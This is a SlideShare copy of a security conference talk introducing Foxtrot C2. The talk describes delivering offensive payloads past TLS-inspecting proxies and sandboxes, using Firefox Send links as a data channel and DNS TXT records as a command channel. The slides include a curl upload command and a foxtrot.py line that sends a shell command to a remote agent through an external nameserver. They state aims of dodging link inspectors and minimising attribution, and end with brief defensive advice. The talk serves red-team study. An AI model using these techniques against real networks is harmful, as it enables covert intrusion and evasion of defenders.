Foxtrot C2. Proxy, Let’s Dance
Safe(r) Payload Delivery Across Intercepting Proxies
THOTCON 0x9
Dimitry Snezhkov
Silence on the wire 30 minutes into sending a known good payload:
Realization: Payload did not make it to the end user
... was it the link checker?
... was it the new / uncategorized domain access policy?
... was the payload package format caught by in-flight content inspection tools?
... did the user lack supported programs to deal with unwrapping the application payload?
Note: The silence may be broken by a friendly sandbox visit under the name ”BOBS-PC”, joined
by 12 more peers fetching and analyzing the payload over and over again. It’s a party, but not
the one you want to be a part of!
Now, can damage be contained/minimized? Can I avoid or delay attribution?
A Common Scenario: Undelivered Offensive Payload
• Properly configured layered in-flight defenses can be very effective for the
Defense.
• They can also be annoying to the Offense
• may not be reliably replicated in test/lab or known
• may lead to offensive teams giving up too early in the game.
In this talk we will try to address a few of these issues, minimize their effects, and
avoid a few of them too.
Strike One: In-flight Defenses
In reality, it is about an attempt of a safe(r) last-mile delivery and
protection of payload across networks configured with robust in-flight
inspection mechanisms.
A Common Scenario - Revisited
That was a mouthful….. Let the hunt begin!
An alternative offensive content delivery mechanism is needed.
Primary goals:
1. Capability to deliver content across hostile traffic inspection mediums. E.g. TLS traffic inspection
assumed.
2. Capability to reach externally hosted content from the inside in the face of a strict content proxy
and a heavy domain ranking.
3. + Capability to decrease repeatable sampling of externally hosted attacker content by defensive
mechanisms by controlling content access parameters, including one-time links, storage expiration,
access limits.
4. + Capability to minimize attribution at the initial visit/download/delivery stage.
5. + Capability to pass by link inspectors (e.g. UrlDefense)
6. + High degree of utilization needed.
Secondary goals:
Lao Tzu says: we shall discuss them later ;)
Remediation Content Delivery Mechanism Goals
Operation: Firefox Send Private, Encrypted File Sharing
1. Sender Uploads File
2. Firefox Stores Encrypted
w/Shared Key Basic Access rules.
3. Recipient Downloads File
Platform: Firefox Send Private, Encrypted File Sharing
https://www.w3.org/TR/WebCryptoAPI
WebCrypto API* with AES-GCM algorithm to encrypt and decrypt the file in the browser
The file that's transferred to Mozilla's server is already encrypted and its contents can't be viewed by Mozilla
• The link includes the encryption key
• Anyone with the link to download and
access the file.
• 1 GB file size limit
• 1-24 times download limit
*Web crypto API
• Send server can be deployed as a standalone server (https://github.com/mozilla/send)
• Or hosted at https://send.firefox.com/ (our use case)
Request (upload file and encrypt)
POST /api/upload HTTP/1.1
Host: send.firefox.com
X-File-Metadata:
{"id":"55c97f947fc479547f16f125","filename":"monastery1.jpg"}
Response: Additional Owner/ID Info:
{"url":"https://send.firefox.com/download/3f9805bcd7/",
"owner":"9dafe4c2d89b07101891","id":"3f9805bcd7"}
Encrypted Link Format:
https://send.firefox.com/download/3f9805bcd7/#M3DA7NgkqlswuM9GFT4BCA
Platform: Firefox Send Private, Encrypted File Sharing
Goal 1: Capability to deliver content across hostile traffic
inspection (E.g. TLS traffic inspection)
• Decryption of content in the browser by JS
Encrypted last mile delivery
https://send.firefox.com/download/baaf2ae527/#ez4iQudmTwsjSu41ZSYrOg
• Proxy can inspect TLS, will see an encrypted blob.
• Unless the mechanism is known will rarely attempt to automatically
detect and unwrap application encryption.
• One-time shared key between the browser of the uploader and
the browser of file recipient.
• We don’t have to generate, FF Send takes care of that.
Solving key distribution
Let’s Evaluate Firefox Send Private Sharing against our goals
Goal 2: Capability to reach hosted content in the face of a
content proxy and heavy domain ranking
https://send.firefox.com/
Mostly ranked high and “safe”
Goal 3: Capability to decrease repeatable sampling of content by defense
by controlling content access parameters, including expiration, access limits.
Advantages:
• Link download throttling: 1-20 times ß Sandbox gets nothing 2nd attempt
• Generous size of files (up to 1 GB)
• Link expiration by time (24 hours)
• File forced/manual deletion.
• Additional encryption passwords.
Further logic can be built. We will see more when we discuss secondary goals.
Goal 4: Capability to minimize attribution.
• Storage OpSec: Ephemeral storage promise
• No account to create. Owner is ephermeral
File One: {"url":https://send.firefox.com/download/3f9805bcd7/
,"owner":"9dafe4c2d89b07101891","id":"3f9805bcd7"}
File Two: {"url":https://send.firefox.com/download/1839672b2a/
,"owner":"77b8a3559416aa14d668","id":"1839672b2a "}
Who is owner 77b8a3559416aa14d668 ?? (anonymous uploads.)
Goal 5: Capability to minimize response from link inspectors
https://send.firefox.com/download/1839672b2a/#os171fpGxYOLOykVYREN8w
looks better than https://rogue.me/download/file
Goal 6: Ability to progressively build delivery with off the shelf tools.
Utilization / availability in all environments.
The problem of shared keys fully custom application encryption: format support.
Can you guarantee a client is able to unwrap?
All you really need is a Firefox/Chrome/Safari browser with JS Crypto WebAPI.
Edge (later/never?)
Weaponizing A Happy File Sharing Service
One time. Two times. Automate.
1. Building a delivery framework of agents based on the existing capabilities.
2. Solving task synchronization with split data and command channels.
3. Building command execution capability and hooks into the external C&C
Secondary Goals: Automation
Goal 1: Building delivery agents based on the existing capabilities.
• FFSend is Browser to Browser, via WebAPI Crypto JS. Can we replicate / automate?
curl 'https://send.firefox.com/api/upload’
-H 'Authorization: send-v1
4m6CIIsv28NhHzFwI4coO7NQ4ptuH2dkQ2m0Fmft2B0j1ZcE18aeUWfIa3iuVyTQURKHZ4OboKxZmcCJCFmKJQ’
-H 'Origin: https://send.firefox.com’
-H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ6VYFlqCoVpBLf6Y’
-H 'X-File- Metadata:
J8OulomBWho3RdLoeHBkOh23c5glLkfNLPHMZcV6Yctny1ydtkDsol1D_cJ8mQ-G2o_
c8wu6_avkca8o5-E4itPpOuzE2AD2hfGTA-TYjw’
--data-binary $'------ WebKitFormBoundaryQ6VYFlqCoVpBLf6YrnContent-Disposition: form-data; name="data";
filename="blob"rnContent-Type: application/octet-streamrnrnrn------ WebKitFormBoundaryQ6VYFlqCoVpBLf6Y--rn' --compressed
{"url":"https://send.firefox.com/download/58d18f7c65/","delete":"0120a59343513ec237a4","id":"58d18f7c65"}
Secondary Goals: Automation
Goal 1: Building delivery agents based on the existing capabilities (Cont.)
JS Crypto WebAPI = Crypto Standards + HTTP libraries
Py Crypto WebAPI = Crypto Standards + HTTP libraries?
So….
Secondary Goals: Automation
Hello world, agent!
Agent Delivery Notification Problem: How do you make the other party know the shared key / URL?
https://send.firefox.com/download/baaf2ae527/#ez4iQudmTwsjSu41ZSYrOg
Notification side channels. The usual candidates HTTP, ICMP, DNS, etc.
• HTTPS: Possible but:
Another highly ranked domain needed. Partially defeats the purpose.
Assume inspection of TLS, so another custom protocol to protect.
• ICMP: Fairly limited structure- and capacity- wise, well inspected.
• DNS: Inspected but we can probably blend in.
Goal 1: Building delivery agents based on the existing capabilities (Cont.)
Secondary Goals: Automation
Goal 2: Solving synchronization with split data and command channels.
DNS:
• Data channel to FFSend.
• Command channel to DNS.
Wanted features:
• Avoid detection with well behaved packets across reasonably
infrequent traffic. No splitting of 1GB file and shoving it across
1M DNS TXT records.
• Dynamic DNS updates from the agents, access control with
Transaction Signatures
• Commands over well formed TXT DKIM records.
• Additional record content encryption with FFSend shared key.
Secondary Goals: Automation
Protocol
Normal
Protocol
Normal
Wire and Defense
• Might as well shuttle data AND commands.
• Master/Slave concept by role
• Peer-to-Peer concept by capability.
• Store and poll model between the parties via FFSend service.
Goal 3: Building command execution from the external C&C
Secondary Goals: Automation
Foxtrot C2
DATA channel: Firefox Send Service
COMMAND channel: PowerDNS (choice)
• Flexibility:
Backend (SQL, Bind, Pipe, etc.)
HTTP API possible (Future
fallback, round robin)
• Agents can change roles (Master/Slave)
• Agents can communicate P2P (WIP)
• Command line and TUI menu driven
• Agents can be hosted on FF Send.
• Jitter/Intervals to blend in traffic (WIP)
• Internal agent commands (WIP)
• Download or push files
• Download or push instructions for OSexec()
• Planned LTKM
Python for now
Slave (console)
Master (console)
Send commands (batch)
Send data file
Foxtrot C2
Foxtrot Operation
./foxtrot.py --agent agent_195694e2 --tsigname
test2 --tsigrdata ./config/tsig-test2.dat --nserver
138.68.234.147 --domain s3bucket.stream --role
master --verbose info send --operation ocmd --ocmd
'ps -ef | grep bash'
Slave
Master
1. Master (Post Job to Slave)
2. Slave (Receipt of Request):
• Checks DNS record for its instructions
• Fetches linked data file from FFSend
• Processes (command or saves data)
as instructed
• Posts results back to FFSend
• Updates DNS
3. Master (Get Response):
• Checks DNS record for updates from
Slave
• Fetches linked data file from FFSend
• Processes command output as instructed
• Updates DNS record for Slave Agent
Foxtrot Demo
https://asciinema.org/a/tNUDFHXnsAajU3l1SHsbqSDCB
https://asciinema.org/a/gUtGGPSWfcr1gDfuDmF2PHGQQ
Wire and Defense
• Sample number of DNS TXT requests/responses
• Vendors:
• render CAPTCHAS for uploads
• throttle number of uploads from endpoint
Q&A
https://github.com/dsnezhkov/foxtrot
Thanks!

More Related Content

PPTX
An Introduction to HTTP
PPT
Introduction About PHP
PDF
Covert Timing Channels using HTTP Cache Headers
PDF
Covert Timing Channels using HTTP Cache Headers
PPTX
Covert timing channels using HTTP cache headers
PDF
크롬의고성능네트워킹
PPT
Juglouvain http revisited
PDF
Hidden Gems in HTTP
An Introduction to HTTP
Introduction About PHP
Covert Timing Channels using HTTP Cache Headers
Covert Timing Channels using HTTP Cache Headers
Covert timing channels using HTTP cache headers
크롬의고성능네트워킹
Juglouvain http revisited
Hidden Gems in HTTP

What's hot (20)

PPTX
Network And Application Layer Attacks
PPT
Cita310chap09
PDF
HTTP 완벽가이드 1장.
PDF
Serialization in Go
PPTX
Responder PPT
PDF
Stuart Larsen, attacking http2implementations-rev1
PDF
Attacking http2 implementations (1)
PDF
Help, my browser is leaking! Exploring XSLeaks attacks and defenses - Tom Van...
PDF
Introduction to HTTP
PPTX
Reverse shell
PPTX
An overview of ftp
PPT
2 secure systems design
PPTX
DDoS Attack and Mitigation
PDF
Computer network (10)
PPTX
Email HTTP And FTP
PDF
(130316) #fitalk bit torrent protocol
PPT
Http request&response session 1 - by Vignesh.N
DOC
Ravi kumar
PPTX
File Transfer Protocol
PDF
What is a MS Windows Network Drive
Network And Application Layer Attacks
Cita310chap09
HTTP 완벽가이드 1장.
Serialization in Go
Responder PPT
Stuart Larsen, attacking http2implementations-rev1
Attacking http2 implementations (1)
Help, my browser is leaking! Exploring XSLeaks attacks and defenses - Tom Van...
Introduction to HTTP
Reverse shell
An overview of ftp
2 secure systems design
DDoS Attack and Mitigation
Computer network (10)
Email HTTP And FTP
(130316) #fitalk bit torrent protocol
Http request&response session 1 - by Vignesh.N
Ravi kumar
File Transfer Protocol
What is a MS Windows Network Drive
Ad

Similar to Foxtrot C2: Forced Payload Delivery (20)

PDF
Foxtrot C2: A Journey of Payload Delivery
PDF
XFLTReaT: A New Dimension in Tunnelling (HITB GSEC 2017)
PDF
Trick or XFLTReaT a.k.a. Tunnel All The Things
PDF
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
PDF
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
PPT
Proxy servers
PDF
Introduction to WebSockets
PPTX
Network tunneling techniques
PDF
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
PDF
XFLTReat: a new dimension in tunnelling
ODP
sshuttle VPN (2011-04)
PDF
Krzysztof Kotowicz - Hacking HTML5
PPTX
A Technical Dive into Defensive Trickery
PPTX
Web Dev Research
PPTX
Wo defensive trickery_13mar2017
PDF
transfer4all – send big files fluidly
PDF
Balázs Bucsay - XFLTReaT: Building a Tunnel
PDF
Hacking HTML5 offensive course (Zeronights edition)
PPTX
Smuggling TCP traffic through HTTP
PDF
@dtmsecurity Mitre ATT&CKcon - Playing Devil's Advocate to Security Initiativ...
Foxtrot C2: A Journey of Payload Delivery
XFLTReaT: A New Dimension in Tunnelling (HITB GSEC 2017)
Trick or XFLTReaT a.k.a. Tunnel All The Things
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
Proxy servers
Introduction to WebSockets
Network tunneling techniques
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
XFLTReat: a new dimension in tunnelling
sshuttle VPN (2011-04)
Krzysztof Kotowicz - Hacking HTML5
A Technical Dive into Defensive Trickery
Web Dev Research
Wo defensive trickery_13mar2017
transfer4all – send big files fluidly
Balázs Bucsay - XFLTReaT: Building a Tunnel
Hacking HTML5 offensive course (Zeronights edition)
Smuggling TCP traffic through HTTP
@dtmsecurity Mitre ATT&CKcon - Playing Devil's Advocate to Security Initiativ...
Ad

More from Dimitry Snezhkov (6)

PDF
BH-ElfPack-Presentation.pdf
PDF
Racketeer Toolkit. Prototyping Controlled Ransomware Operations
PDF
Your House is My House: Use of Offensive Enclaves In Adversarial Operations
PDF
Deep Sea Phishing Gear
PDF
Typhoon Managed Execution Toolkit
PDF
LST Toolkit: Exfiltration Over Sound, Light, Touch
BH-ElfPack-Presentation.pdf
Racketeer Toolkit. Prototyping Controlled Ransomware Operations
Your House is My House: Use of Offensive Enclaves In Adversarial Operations
Deep Sea Phishing Gear
Typhoon Managed Execution Toolkit
LST Toolkit: Exfiltration Over Sound, Light, Touch

Recently uploaded (20)

PDF
STKI Israel Market Study 2025 version august
PDF
“A New Era of 3D Sensing: Transforming Industries and Creating Opportunities,...
PPTX
Final SEM Unit 1 for mit wpu at pune .pptx
PDF
Comparative analysis of machine learning models for fake news detection in so...
PDF
Improvisation in detection of pomegranate leaf disease using transfer learni...
PDF
A review of recent deep learning applications in wood surface defect identifi...
PPTX
Custom Battery Pack Design Considerations for Performance and Safety
PDF
Architecture types and enterprise applications.pdf
PPT
What is a Computer? Input Devices /output devices
PPT
Galois Field Theory of Risk: A Perspective, Protocol, and Mathematical Backgr...
PDF
A proposed approach for plagiarism detection in Myanmar Unicode text
PDF
How IoT Sensor Integration in 2025 is Transforming Industries Worldwide
PPTX
Configure Apache Mutual Authentication
PPTX
The various Industrial Revolutions .pptx
PDF
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
PDF
sustainability-14-14877-v2.pddhzftheheeeee
PPTX
2018-HIPAA-Renewal-Training for executives
DOCX
search engine optimization ppt fir known well about this
PDF
CloudStack 4.21: First Look Webinar slides
PDF
Convolutional neural network based encoder-decoder for efficient real-time ob...
STKI Israel Market Study 2025 version august
“A New Era of 3D Sensing: Transforming Industries and Creating Opportunities,...
Final SEM Unit 1 for mit wpu at pune .pptx
Comparative analysis of machine learning models for fake news detection in so...
Improvisation in detection of pomegranate leaf disease using transfer learni...
A review of recent deep learning applications in wood surface defect identifi...
Custom Battery Pack Design Considerations for Performance and Safety
Architecture types and enterprise applications.pdf
What is a Computer? Input Devices /output devices
Galois Field Theory of Risk: A Perspective, Protocol, and Mathematical Backgr...
A proposed approach for plagiarism detection in Myanmar Unicode text
How IoT Sensor Integration in 2025 is Transforming Industries Worldwide
Configure Apache Mutual Authentication
The various Industrial Revolutions .pptx
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
sustainability-14-14877-v2.pddhzftheheeeee
2018-HIPAA-Renewal-Training for executives
search engine optimization ppt fir known well about this
CloudStack 4.21: First Look Webinar slides
Convolutional neural network based encoder-decoder for efficient real-time ob...

Foxtrot C2: Forced Payload Delivery

  • 1. Foxtrot C2. Proxy, Let’s Dance Safe(r) Payload Delivery Across Intercepting Proxies THOTCON 0x9 Dimitry Snezhkov
  • 2. Silence on the wire 30 minutes into sending a known good payload: Realization: Payload did not make it to the end user ... was it the link checker? ... was it the new / uncategorized domain access policy? ... was the payload package format caught by in-flight content inspection tools? ... did the user lack supported programs to deal with unwrapping the application payload? Note: The silence may be broken by a friendly sandbox visit under the name ”BOBS-PC”, joined by 12 more peers fetching and analyzing the payload over and over again. It’s a party, but not the one you want to be a part of! Now, can damage be contained/minimized? Can I avoid or delay attribution? A Common Scenario: Undelivered Offensive Payload
  • 3. • Properly configured layered in-flight defenses can be very effective for the Defense. • They can also be annoying to the Offense • may not be reliably replicated in test/lab or known • may lead to offensive teams giving up too early in the game. In this talk we will try to address a few of these issues, minimize their effects, and avoid a few of them too. Strike One: In-flight Defenses
  • 4. In reality, it is about an attempt of a safe(r) last-mile delivery and protection of payload across networks configured with robust in-flight inspection mechanisms. A Common Scenario - Revisited That was a mouthful….. Let the hunt begin!
  • 5. An alternative offensive content delivery mechanism is needed. Primary goals: 1. Capability to deliver content across hostile traffic inspection mediums. E.g. TLS traffic inspection assumed. 2. Capability to reach externally hosted content from the inside in the face of a strict content proxy and a heavy domain ranking. 3. + Capability to decrease repeatable sampling of externally hosted attacker content by defensive mechanisms by controlling content access parameters, including one-time links, storage expiration, access limits. 4. + Capability to minimize attribution at the initial visit/download/delivery stage. 5. + Capability to pass by link inspectors (e.g. UrlDefense) 6. + High degree of utilization needed. Secondary goals: Lao Tzu says: we shall discuss them later ;) Remediation Content Delivery Mechanism Goals
  • 6. Operation: Firefox Send Private, Encrypted File Sharing 1. Sender Uploads File 2. Firefox Stores Encrypted w/Shared Key Basic Access rules. 3. Recipient Downloads File
  • 7. Platform: Firefox Send Private, Encrypted File Sharing https://www.w3.org/TR/WebCryptoAPI WebCrypto API* with AES-GCM algorithm to encrypt and decrypt the file in the browser The file that's transferred to Mozilla's server is already encrypted and its contents can't be viewed by Mozilla • The link includes the encryption key • Anyone with the link to download and access the file. • 1 GB file size limit • 1-24 times download limit *Web crypto API
  • 8. • Send server can be deployed as a standalone server (https://github.com/mozilla/send) • Or hosted at https://send.firefox.com/ (our use case) Request (upload file and encrypt) POST /api/upload HTTP/1.1 Host: send.firefox.com X-File-Metadata: {"id":"55c97f947fc479547f16f125","filename":"monastery1.jpg"} Response: Additional Owner/ID Info: {"url":"https://send.firefox.com/download/3f9805bcd7/", "owner":"9dafe4c2d89b07101891","id":"3f9805bcd7"} Encrypted Link Format: https://send.firefox.com/download/3f9805bcd7/#M3DA7NgkqlswuM9GFT4BCA Platform: Firefox Send Private, Encrypted File Sharing
  • 9. Goal 1: Capability to deliver content across hostile traffic inspection (E.g. TLS traffic inspection) • Decryption of content in the browser by JS Encrypted last mile delivery https://send.firefox.com/download/baaf2ae527/#ez4iQudmTwsjSu41ZSYrOg • Proxy can inspect TLS, will see an encrypted blob. • Unless the mechanism is known will rarely attempt to automatically detect and unwrap application encryption. • One-time shared key between the browser of the uploader and the browser of file recipient. • We don’t have to generate, FF Send takes care of that. Solving key distribution Let’s Evaluate Firefox Send Private Sharing against our goals
  • 10. Goal 2: Capability to reach hosted content in the face of a content proxy and heavy domain ranking https://send.firefox.com/ Mostly ranked high and “safe”
  • 11. Goal 3: Capability to decrease repeatable sampling of content by defense by controlling content access parameters, including expiration, access limits. Advantages: • Link download throttling: 1-20 times ß Sandbox gets nothing 2nd attempt • Generous size of files (up to 1 GB) • Link expiration by time (24 hours) • File forced/manual deletion. • Additional encryption passwords. Further logic can be built. We will see more when we discuss secondary goals.
  • 12. Goal 4: Capability to minimize attribution. • Storage OpSec: Ephemeral storage promise • No account to create. Owner is ephermeral File One: {"url":https://send.firefox.com/download/3f9805bcd7/ ,"owner":"9dafe4c2d89b07101891","id":"3f9805bcd7"} File Two: {"url":https://send.firefox.com/download/1839672b2a/ ,"owner":"77b8a3559416aa14d668","id":"1839672b2a "} Who is owner 77b8a3559416aa14d668 ?? (anonymous uploads.)
  • 13. Goal 5: Capability to minimize response from link inspectors https://send.firefox.com/download/1839672b2a/#os171fpGxYOLOykVYREN8w looks better than https://rogue.me/download/file Goal 6: Ability to progressively build delivery with off the shelf tools. Utilization / availability in all environments. The problem of shared keys fully custom application encryption: format support. Can you guarantee a client is able to unwrap? All you really need is a Firefox/Chrome/Safari browser with JS Crypto WebAPI. Edge (later/never?)
  • 14. Weaponizing A Happy File Sharing Service
  • 15. One time. Two times. Automate. 1. Building a delivery framework of agents based on the existing capabilities. 2. Solving task synchronization with split data and command channels. 3. Building command execution capability and hooks into the external C&C Secondary Goals: Automation
  • 16. Goal 1: Building delivery agents based on the existing capabilities. • FFSend is Browser to Browser, via WebAPI Crypto JS. Can we replicate / automate? curl 'https://send.firefox.com/api/upload’ -H 'Authorization: send-v1 4m6CIIsv28NhHzFwI4coO7NQ4ptuH2dkQ2m0Fmft2B0j1ZcE18aeUWfIa3iuVyTQURKHZ4OboKxZmcCJCFmKJQ’ -H 'Origin: https://send.firefox.com’ -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ6VYFlqCoVpBLf6Y’ -H 'X-File- Metadata: J8OulomBWho3RdLoeHBkOh23c5glLkfNLPHMZcV6Yctny1ydtkDsol1D_cJ8mQ-G2o_ c8wu6_avkca8o5-E4itPpOuzE2AD2hfGTA-TYjw’ --data-binary $'------ WebKitFormBoundaryQ6VYFlqCoVpBLf6YrnContent-Disposition: form-data; name="data"; filename="blob"rnContent-Type: application/octet-streamrnrnrn------ WebKitFormBoundaryQ6VYFlqCoVpBLf6Y--rn' --compressed {"url":"https://send.firefox.com/download/58d18f7c65/","delete":"0120a59343513ec237a4","id":"58d18f7c65"} Secondary Goals: Automation
  • 17. Goal 1: Building delivery agents based on the existing capabilities (Cont.) JS Crypto WebAPI = Crypto Standards + HTTP libraries Py Crypto WebAPI = Crypto Standards + HTTP libraries? So…. Secondary Goals: Automation
  • 18. Hello world, agent! Agent Delivery Notification Problem: How do you make the other party know the shared key / URL? https://send.firefox.com/download/baaf2ae527/#ez4iQudmTwsjSu41ZSYrOg Notification side channels. The usual candidates HTTP, ICMP, DNS, etc. • HTTPS: Possible but: Another highly ranked domain needed. Partially defeats the purpose. Assume inspection of TLS, so another custom protocol to protect. • ICMP: Fairly limited structure- and capacity- wise, well inspected. • DNS: Inspected but we can probably blend in. Goal 1: Building delivery agents based on the existing capabilities (Cont.) Secondary Goals: Automation
  • 19. Goal 2: Solving synchronization with split data and command channels. DNS: • Data channel to FFSend. • Command channel to DNS. Wanted features: • Avoid detection with well behaved packets across reasonably infrequent traffic. No splitting of 1GB file and shoving it across 1M DNS TXT records. • Dynamic DNS updates from the agents, access control with Transaction Signatures • Commands over well formed TXT DKIM records. • Additional record content encryption with FFSend shared key. Secondary Goals: Automation
  • 23. • Might as well shuttle data AND commands. • Master/Slave concept by role • Peer-to-Peer concept by capability. • Store and poll model between the parties via FFSend service. Goal 3: Building command execution from the external C&C Secondary Goals: Automation
  • 24. Foxtrot C2 DATA channel: Firefox Send Service COMMAND channel: PowerDNS (choice) • Flexibility: Backend (SQL, Bind, Pipe, etc.) HTTP API possible (Future fallback, round robin) • Agents can change roles (Master/Slave) • Agents can communicate P2P (WIP) • Command line and TUI menu driven • Agents can be hosted on FF Send. • Jitter/Intervals to blend in traffic (WIP) • Internal agent commands (WIP) • Download or push files • Download or push instructions for OSexec() • Planned LTKM Python for now
  • 25. Slave (console) Master (console) Send commands (batch) Send data file Foxtrot C2
  • 26. Foxtrot Operation ./foxtrot.py --agent agent_195694e2 --tsigname test2 --tsigrdata ./config/tsig-test2.dat --nserver 138.68.234.147 --domain s3bucket.stream --role master --verbose info send --operation ocmd --ocmd 'ps -ef | grep bash' Slave Master 1. Master (Post Job to Slave) 2. Slave (Receipt of Request): • Checks DNS record for its instructions • Fetches linked data file from FFSend • Processes (command or saves data) as instructed • Posts results back to FFSend • Updates DNS 3. Master (Get Response): • Checks DNS record for updates from Slave • Fetches linked data file from FFSend • Processes command output as instructed • Updates DNS record for Slave Agent
  • 28. Wire and Defense • Sample number of DNS TXT requests/responses • Vendors: • render CAPTCHAS for uploads • throttle number of uploads from endpoint